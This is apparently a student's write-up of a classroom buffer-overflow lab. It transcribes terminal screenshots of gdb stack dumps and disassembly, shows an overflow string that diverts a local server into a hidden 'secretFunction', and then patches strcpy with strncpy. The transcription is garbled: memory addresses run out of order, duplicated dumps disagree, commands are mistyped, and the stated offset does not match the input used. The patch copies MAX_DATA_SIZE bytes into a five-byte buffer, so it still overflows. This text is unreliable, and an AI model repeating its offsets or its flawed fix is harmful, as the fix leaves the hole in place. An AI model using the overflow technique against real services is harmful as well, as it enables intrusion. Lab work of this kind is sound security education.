

HW10 writeup:

Part 1:

In this assignment we are sending a message from the client to the server.

We send a Message in our case “AAA” to see where it is stored.

We then calculate that the overflow buffer size is 40 and we send the string with the overflow buffer size and then we are able to reach the secret function.

All as shown in the images below.

The first screenshot shows a terminal window with the following output:

```
bash-4.2$ ssh ece404m@shay.ecn.purdue.edu
ece404m@shay.ecn.purdue.edu's password:
Permission denied, please try again.
ece404m@shay.ecn.purdue.edu's password:
Last failed login: Tue Apr 4 17:10:51 EDT 2023 from ee207lnx02.ecn.purdue.edu on ssh:notty
There was 1 failed login attempt since the last successful login.
Last login: Tue Apr 4 17:10:12 2023 from ee207lnx02.ecn.purdue.edu
Linux shay.ecn.purdue.edu 3.10.0-1108.01.1.el7.x86_64 #1 SMP Fri Dec 16 17:29:43 UTC 2022 x86_64 x86_64 GNU/Linux
- Accepting applications! FIE Undergraduate Positions for Fall, 2023
First-Year Engineering Peer Teachers & Graders for ENGR 130, ENGR 131,
ENGR 132, & ENGR 133 help students during class, assist with grading and help
sessions, meet with teaching teams, and other duties as assigned. To learn
more about the job description and to apply, go to
https://engineering.purdue.edu/NE/AboutUs/Employment. This position
qualifies for Federal work-study. Please inform us about your FWS aid when
applying.

.. *****
This machine (shay) is only for general purpose computing
(i.e. reading mail, file storage, etc.)
DO NOT RUN LARGE, LONG RUNNING JOBS ON SHAY.
***THIS MEANS MATLAB***
DO NOT LEAVE LARGE JOBS RUNNING IN THE BACKGROUND.
If found, they could be terminated without notice.
*****

- Reporting computer problems
Please report computer problems via the ECN Trouble Report:
https://engineering.purdue.edu/ECN/AboutUs/ContactUs/

[ece404m@shay ~]$ ls
client.c  Documents  Mail  Pictures  server.c  Templates
Desktop  Downloads  Music  Public  sshFolder?  Videos
[ece404m@shay ~]$ gcc -g -fno-stack-protector -o server server.c
[ece404m@shay ~]$ gdb --args server 9018
GNU gdb (GDB) Red Hat Enterprise Linux 7.6.1-120.el7
Copyright (C) 2013 Free Software Foundation, Inc.
License GPLv3+: GNU GPL version 3 or later <http://gnu.org/licenses/gpl.html>
This is free software; you are free to change and redistribute it.
There is NO WARRANTY, to the extent permitted by law. Type "show copying"
and "show warranty" for details.
This GDB was configured as "x86_64-redhat-linux-gnu".
For bug reporting instructions, please see:
<http://www.gnu.org/software/gdb/bugs/>...
Reading symbols from /home/shay/a/ece404m/server...done.
(gdb) b 121
Breakpoint 1 at 0x4000d9: file server.c, line 121.
(gdb) run
Starting program: /home/shay/a/ece404m/server 9018
Connected from 127.0.0.1
RECEIVED: AAA
RECEIVED BYTES: A
```

The second screenshot shows the same terminal window with the following output:

```
End of assembler dump.
(gdb) print &str
$1 = (char (*)[5]) 0x7fffffffdd10
(gdb) x /100x %p
0x7fffffffddc0: -112 -35 -1 -1 -1 127 0 0
0x7fffffffddc8: -88 -35 -1 -1 -1 127 0 0
0x7fffffffdd00: -128 -35 -1 -1 -1 127 0 0
0x7fffffffdd08: 48 10 64 0 6 0 0 0
0x7fffffffdd10: 0 0 0 0 0 0 0 0
0x7fffffffdd18: -112 -35 -1 -1 -1 127 0 0
0x7fffffffdd20: 16 -80 120 -9 -1 127 0 0
0x7fffffffdd28: 80 -21 -1 -9 4 0 0 0
0x7fffffffdd30: -112 -35 -1 -1 -1 127 0 0
0x7fffffffdd38: -39 12 64 0 0 0 0 0
0x7fffffffdd40: 120 -34 -1 -1 -1 127 0 0
0x7fffffffdd48: -1 -75 -16 0 2 0 0 0
0x7fffffffdd50: 1 0 0 0 0 0 0 0
(gdb) x /100x %p
0x7fffffffddc0: 0x90 0xdd 0xff 0xff 0xff 0x7f 0x00 0x00
0x7fffffffddc8: 0x58 0xdd 0xff 0xff 0xff 0x7f 0x00 0x00
0x7fffffffdd00: 0x00 0xdd 0xff 0xff 0xff 0x7f 0x00 0x00
0x7fffffffdd08: 0x30 0xa0 0x40 0x00 0x00 0x00 0x00 0x00
0x7fffffffdd10: 0x00 0x00 0x00 0x00 0x00 0x00 0x00 0x00
0x7fffffffdd18: 0x00 0xdd 0xff 0xff 0xff 0x7f 0x00 0x00
0x7fffffffdd20: 0x10 0xb0 0x78 0x17 0xff 0x7f 0x00 0x00
0x7fffffffdd28: 0x50 0xe1 0xff 0x17 0x04 0x00 0x00 0x00
0x7fffffffdd30: 0x00 0xdd 0xff 0xff 0xff 0x7f 0x00 0x00
0x7fffffffdd38: 0x09 0xc0 0x40 0x00 0x00 0x00 0x00 0x00
0x7fffffffdd40: 0x70 0x00 0xff 0xff 0xff 0x7f 0x00 0x00
0x7fffffffdd48: 0xff 0xb5 0x10 0x00 0x02 0x00 0x00 0x00
0x7fffffffdd50: 0x01 0x00 0x00 0x00 0x00 0x00 0x00 0x00
(gdb) quit
A debugging session is active.

Inferior 1 [process 21619] will be killed.

Quit anyway? (y or n) y
[ece404m@shay ~]$ ./server 9018
bind failed: Address already in use
[ece404m@shay ~]$ ./server 9020
Connected from 127.0.0.1
RECEIVED: AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA[RECEIVED BYTES: 48

Segmentation fault (core dumped)
[ece404m@shay ~]$ ./server 9020
bind failed: Address already in use
[ece404m@shay ~]$ ./server 9021
Connected from 127.0.0.1
RECEIVED: aaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaa[RECEIVED BYTES: 43

You weren't supposed to get here!
[ece404m@shay ~]$
```

```
Applications Places Terminal Tue 17:27
ece404m8@shay:~$

File Edit View Search Terminal Help
End of assembler dump.
(gdb) print &str
$1 = (char *) [5] 0x7fffffffdd10
(gdb) x /100b $rsp
0x7fffffffddc0: 112 -35 -1 -1 -1 127 0 0
0x7fffffffddc8: 88 -35 -1 -1 -1 127 0 0
0x7fffffffdd00: -128 -35 -1 -1 -1 127 0 0
0x7fffffffdd08: 48 10 64 0 6 0 0 0
0x7fffffffdd10: 0 0 0 0 0 0 0 0
0x7fffffffdd18: -112 -35 -1 -1 -1 127 0 0
0x7fffffffdd20: 16 -80 120 -9 -1 127 0 0
0x7fffffffdd28: 80 -31 -1 -9 4 0 0 0
0x7fffffffdd30: -112 -35 -1 -1 -1 127 0 0
0x7fffffffdd38: -39 12 64 0 0 0 0 0
0x7fffffffdd40: 120 -34 -1 -1 -1 127 0 0
0x7fffffffdd48: -1 -75 -16 0 2 0 0 0
0x7fffffffdd50: 1 0 0 0 0 0 0 0
(gdb) x /100x $rsp
0x7fffffffddc0: 0x90 0xdd 0xff 0xff 0xff 0x7f 0x00 0x00
0x7fffffffddc8: 0x58 0xdd 0xff 0xff 0xff 0x7f 0x00 0x00
0x7fffffffdd00: 0x80 0xdd 0xff 0xff 0xff 0x7f 0x00 0x00
0x7fffffffdd08: 0x30 0xa0 0x00 0x00 0x00 0x00 0x00 0x00
0x7fffffffdd10: 0x00 0x00 0x00 0x00 0x00 0x00 0x00 0x00
0x7fffffffdd18: 0x00 0xdd 0xff 0xff 0xff 0x7f 0x00 0x00
0x7fffffffdd20: 0x10 0xb0 0x78 0xf7 0xff 0x7f 0x00 0x00
0x7fffffffdd28: 0x50 0xe1 0xff 0xf7 0x04 0x00 0x00 0x00
0x7fffffffdd30: 0x90 0xdd 0xff 0xff 0xff 0x7f 0x00 0x00
0x7fffffffdd38: 0x09 0xdc 0x40 0x00 0x00 0x00 0x00 0x00
0x7fffffffdd40: 0x78 0xde 0xff 0xff 0xff 0x7f 0x00 0x00
0x7fffffffdd48: 0xff 0xb5 0xf0 0x00 0x02 0x00 0x00 0x00
0x7fffffffdd50: 0xb1 0x00 0x00 0x00 0x00 0x00 0x00 0x00
(gdb) quit
A debugging session is active.

Inferior 1 [process 21619] will be killed.

Quit anyway? (y or n) y
[ece404m8@shay ~]$ ./server 9018
bind failed: Address already in use
[ece404m8@shay ~]$ ./server 9020
Connected from 127.0.0.1
RECEIVED: AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA[RECEIVED BYTES: 48
Segmentation fault (core dumped)
[ece404m8@shay ~]$ ./server 9020
bind failed: Address already in use
[ece404m8@shay ~]$ ./server 9021
Connected from 127.0.0.1
RECEIVED: aaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaa[RECEIVED BYTES: 43
You weren't supposed to get here!
[ece404m8@shay ~]$

ECE404HW10 ece404m8@shay:~ server.c - ECE404HW10 - Visual St... ece404m8@shay:~ OpenDocument Text.odt - LibreOFF...
Applications Places Terminal Tue 17:28
ece404m8@shay:~$

File Edit View Search Terminal Help
0x0000000000400c61 <+324>: mov $0x1,%edi
0x0000000000400c66 <+329>: callq 0x400a00 <exit@plt>
0x0000000000400c6b <+334>: mov -0x2(%rbp),%eax
0x0000000000400c6e <+337>: mov %eax,%edi
0x0000000000400c70 <+339>: callq 0x400900 <inet_ntoa@plt>
0x0000000000400c75 <+344>: mov %rax,%rsi
0x0000000000400c78 <+347>: mov $0x400f4d,%edi
0x0000000000400c7d <+352>: mov $0x0,%eax
0x0000000000400c82 <+357>: callq 0x400940 <printf@plt>
0x0000000000400c87 <+362>: mov -0xc(%rbp),%eax
0x0000000000400c8a <+365>: mov $0x0,%ecx
0x0000000000400c8f <+370>: mov $0xd,%edx
0x0000000000400c94 <+375>: mov $0x400f60,%esi
0x0000000000400c99 <+380>: mov %eax,%edi
0x0000000000400c9b <+382>: callq 0x400930 <send@plt>
0x0000000000400ca0 <+387>: cmp $0xffffffffffffffff,%rax
0x0000000000400ca4 <+391>: jne 0x400cc4 <main+423>
0x0000000000400ca6 <+393>: mov $0x400f6e,%edi
0x0000000000400cab <+398>: callq 0x4009c0 < perror@plt>
0x0000000000400cb0 <+403>: mov -0xc(%rbp),%eax
0x0000000000400cb3 <+406>: mov %eax,%edi
0x0000000000400cb5 <+408>: callq 0x400950 <close@plt>
---Type <return> to continue, or q <return> to quit---
0x0000000000400cba <+413>: mov $0x1,%edi
0x0000000000400cbf <+418>: callq 0x400a00 <exit@plt>
0x0000000000400cc4 <+423>: lea -0x30(%rbp),%rdx
0x0000000000400cc8 <+427>: lea -0x10(%rbp),%rcx
0x0000000000400ccc <+431>: mov -0xc(%rbp),%eax
0x0000000000400ccf <+434>: mov %rcx,%rsi
0x0000000000400cd2 <+437>: mov %eax,%edi
0x0000000000400cd4 <+439>: callq 0x400ce3 <clientComm>
0x0000000000400cd9 <+444>: mov %rax,%rdi
0x0000000000400cdc <+447>: callq 0x4008c0 <free@plt>
0x0000000000400ce1 <+452>: jmp 0x400cc4 <main+423>
End of assembler dump.
(gdb) disas isHexChar
No symbol "isHexChar" in current context.
(gdb) disas secretFunction
No symbol "secretFunction" in current context.
(gdb) disas secret
secretFunction secret_function
(gdb) disas secret
secretFunction secret_function
(gdb) disas secretFunction
secretFunction
Dump of assembler code for function secretFunction:
0x0000000000400e18 <+0>: push %rbp
0x0000000000400e19 <+1>: mov %rsp,%rbp
0x0000000000400e1c <+4>: mov $0x400fa8,%edi
0x0000000000400e21 <+9>: callq 0x4008f0 <puts@plt>
0x0000000000400e26 <+14>: mov $0x1,%edi
0x0000000000400e2b <+19>: callq 0x400a00 <exit@plt>
End of assembler dump.
(gdb) print &str
$1 = (char *) [5] 0x7fffffffdd10
```

```
Applications  Places  Terminal  Tue 17:28  ece404m8@shay:-

File Edit View Search Terminal Help

Breakpoint 1, cClientComm (clntSockfd=6, senderBuffSize_addr=0x7fffffffdd80, optlen_addr=0x7fffffffdd58)
at server.c:121
121      strcpy(str, recvBuff);
(gdb) disas main
Dump of assembler code for function main:
0x000000000400b1d <+0>:      push    %rbp
0x000000000400b1e <+1>:      mov     %rsp,%rbp
0x000000000400b21 <+4>:      sub     $0x50,%rsp
0x000000000400b25 <+8>:      mov     %edi,-0x44(%rbp)
0x000000000400b28 <+11>:     mov     %rsi,-0x50(%rbp)
0x000000000400b2c <+15>:     cmpl    $0x1,-0x44(%rbp)
0x000000000400b30 <+19>:     jg      0x400b5a <main+61>
0x000000000400b32 <+21>:     mov     0x20159f(%rip),%rax      # 0x6020d8 <stderr@GLIBC_2.2.5>
0x000000000400b39 <+28>:     mov     %rax,%rcx
0x000000000400b3c <+31>:     mov     $0x18,%edx
0x000000000400b41 <+36>:     mov     $0x1,%esi
0x000000000400b46 <+41>:     mov     $0x400f00,%edi
0x000000000400b4b <+46>:     callq   0x400a10 <fwrite@plt>
0x000000000400b50 <+51>:     mov     $0x1,%edi
0x000000000400b55 <+56>:     callq   0x400a00 <exit@plt>
0x000000000400b5a <+61>:     mov     -0x50(%rbp),%rax
0x000000000400b5e <+65>:     add     $0x8,%rax
0x000000000400b62 <+69>:     mov     (%rax),%rax
0x000000000400b65 <+72>:     mov     %rax,%rdi
0x000000000400b68 <+75>:     callq   0x4009f0 <atoi@plt>
0x000000000400b6d <+80>:     mov     %eax,-0x4(%rbp)
0x000000000400b70 <+83>:     movl    $0x4,-0x38(%rbp)
0x000000000400b77 <+90>:     mov     $0x0,%edx
0x000000000400b7c <+95>:     mov     $0x1,%esi
0x000000000400b81 <+100>:    mov     %eax,%edi
0x000000000400b86 <+105>:    callq   0x400a20 <socket@plt>
0x000000000400b8b <+110>:    mov     %eax,-0x8(%rbp)
0x000000000400b8e <+113>:    cmpl    $0xffffffff,-0x8(%rbp)
0x000000000400b92 <+117>:    jne     0x400a0b <main+139>
0x000000000400b94 <+119>:    mov     $0x400f19,%edi
0x000000000400b99 <+124>:    callq   0x4009c0 < perror@plt>
0x000000000400b9e <+129>:    mov     $0x1,%edi
0x000000000400ba3 <+134>:    callq   0x400a00 <exit@plt>
0x000000000400ba8 <+139>:    movsw   $0x2,-0x20(%rbp)
0x000000000400bae <+145>:    mov     -0x4(%rbp),%eax
0x000000000400bb1 <+148>:    movswl  %eax,%eax
0x000000000400bb4 <+151>:    mov     %eax,%edi
0x000000000400bb6 <+153>:    callq   0x400920 <htons@plt>
0x000000000400bbb <+158>:    mov     %eax,-0x1e(%rbp)
0x000000000400bbf <+162>:    movl    $0x0,-0xc(%rbp)
0x000000000400bc6 <+169>:    lea     -0x20(%rbp),%rax
0x000000000400bca <+173>:    add     $0x8,%rax
0x000000000400bce <+177>:    mov     $0x8,%esi
0x000000000400bd3 <+182>:    mov     %rax,%rdi
0x000000000400bd6 <+185>:    callq   0x4009d0 <bzero@plt>
0x000000000400bdb <+190>:    lea     -0x20(%rbp),%rcx
0x000000000400bdf <+194>:    mov     -0x8(%rbp),%eax
...Type <return> to continue, or q <return> to quit...
0x000000000400bec <+207>:    callq   0x400900 <bind@plt>
0x000000000400bf1 <+212>:    cmp     $0xffffffff,%eax
0x000000000400bf4 <+215>:    jne     0x400c0a <main+237>
0x000000000400bf6 <+217>:    mov     $0x400f25,%edi
0x000000000400bf9 <+222>:    callq   0x4009c0 < perror@plt>
0x000000000400c00 <+227>:    mov     $0x1,%edi
0x000000000400c05 <+232>:    callq   0x400a00 <exit@plt>
0x000000000400c0a <+237>:    mov     -0x8(%rbp),%eax
0x000000000400c0d <+240>:    mov     $0xa,%esi
0x000000000400c12 <+245>:    mov     %eax,%edi
0x000000000400c14 <+247>:    callq   0x4009a0 <listen@plt>
0x000000000400c19 <+252>:    cmp     $0xffffffff,%eax
0x000000000400c1c <+255>:    jne     0x400c32 <main+277>
0x000000000400c1e <+257>:    mov     $0x400f31,%edi
0x000000000400c23 <+262>:    callq   0x4009c0 < perror@plt>
0x000000000400c28 <+267>:    mov     $0x1,%edi
0x000000000400c2d <+272>:    callq   0x400a00 <exit@plt>
0x000000000400c32 <+277>:    movl    $0x10,-0x34(%rbp)
0x000000000400c39 <+284>:    lea     -0x34(%rbp),%rdx
0x000000000400c3d <+288>:    lea     -0x30(%rbp),%rcx
0x000000000400c41 <+292>:    mov     -0x8(%rbp),%eax
0x000000000400c44 <+295>:    mov     %rcx,%rsi
0x000000000400c47 <+298>:    mov     %eax,%edi
0x000000000400c49 <+300>:    callq   0x4009e0 <accept@plt>
0x000000000400c4e <+305>:    mov     %eax,-0xc(%rbp)
0x000000000400c51 <+308>:    cmpl    $0xffffffff,-0xc(%rbp)
0x000000000400c55 <+312>:    jne     0x400c0b <main+334>
0x000000000400c57 <+314>:    mov     $0x400f3f,%edi
0x000000000400c5c <+319>:    callq   0x4009c0 < perror@plt>
0x000000000400c61 <+324>:    mov     $0x1,%edi
0x000000000400c66 <+329>:    callq   0x400a00 <exit@plt>
0x000000000400c6b <+334>:    mov     -0x2c(%rbp),%eax
0x000000000400c6e <+337>:    mov     %eax,%edi
0x000000000400c70 <+339>:    callq   0x400900 <inet_ntoa@plt>
0x000000000400c75 <+344>:    mov     %rax,%rsi
0x000000000400c78 <+347>:    mov     $0x400f4d,%edi
0x000000000400c7d <+352>:    mov     $0x0,%eax
0x000000000400c82 <+357>:    callq   0x400940 <printf@plt>
0x000000000400c87 <+362>:    mov     -0xc(%rbp),%eax
0x000000000400c8a <+365>:    mov     $0x0,%ecx
0x000000000400c8f <+370>:    mov     $0xd,%edx
0x000000000400c94 <+375>:    mov     $0x400f60,%esi
0x000000000400c99 <+380>:    mov     %eax,%edi
0x000000000400c9b <+382>:    callq   0x400930 <send@plt>
0x000000000400ca0 <+387>:    cmp     $0xffffffffffffffff,%rax
0x000000000400ca4 <+391>:    jne     0x400cc1 <main+423>
0x000000000400ca6 <+393>:    mov     $0x400f6e,%edi
0x000000000400cab <+398>:    callq   0x4009c0 < perror@plt>
0x000000000400cb0 <+403>:    mov     -0xc(%rbp),%eax
0x000000000400cb3 <+406>:    mov     %eax,%edi
0x000000000400cb5 <+408>:    callq   0x400950 <close@plt>
...Type <return> to continue, or q <return> to quit...
Applications  Places  Terminal  Tue 17:28  ece404m8@shay:-

File Edit View Search Terminal Help
```

Part 2:

In this part we change strcpy to strncpy so that it only copies within the limit of MAX_DATA_SIZE

```

recvBuff[numBytes] = '\0';
if(DataPrint(recvBuff, numBytes)){
    fprintf(stderr, "ERROR, no way to print out\n");
    exit(1);
}

strncpy(str, recvBuff, MAX_DATA_SIZE);

/* send data to the client */
if (send(clntSockfd, str, strlen(str), 0) == -1) {
    perror("send failed");
    close(clntSockfd);
    exit(1);
}

return recvBuff;

```



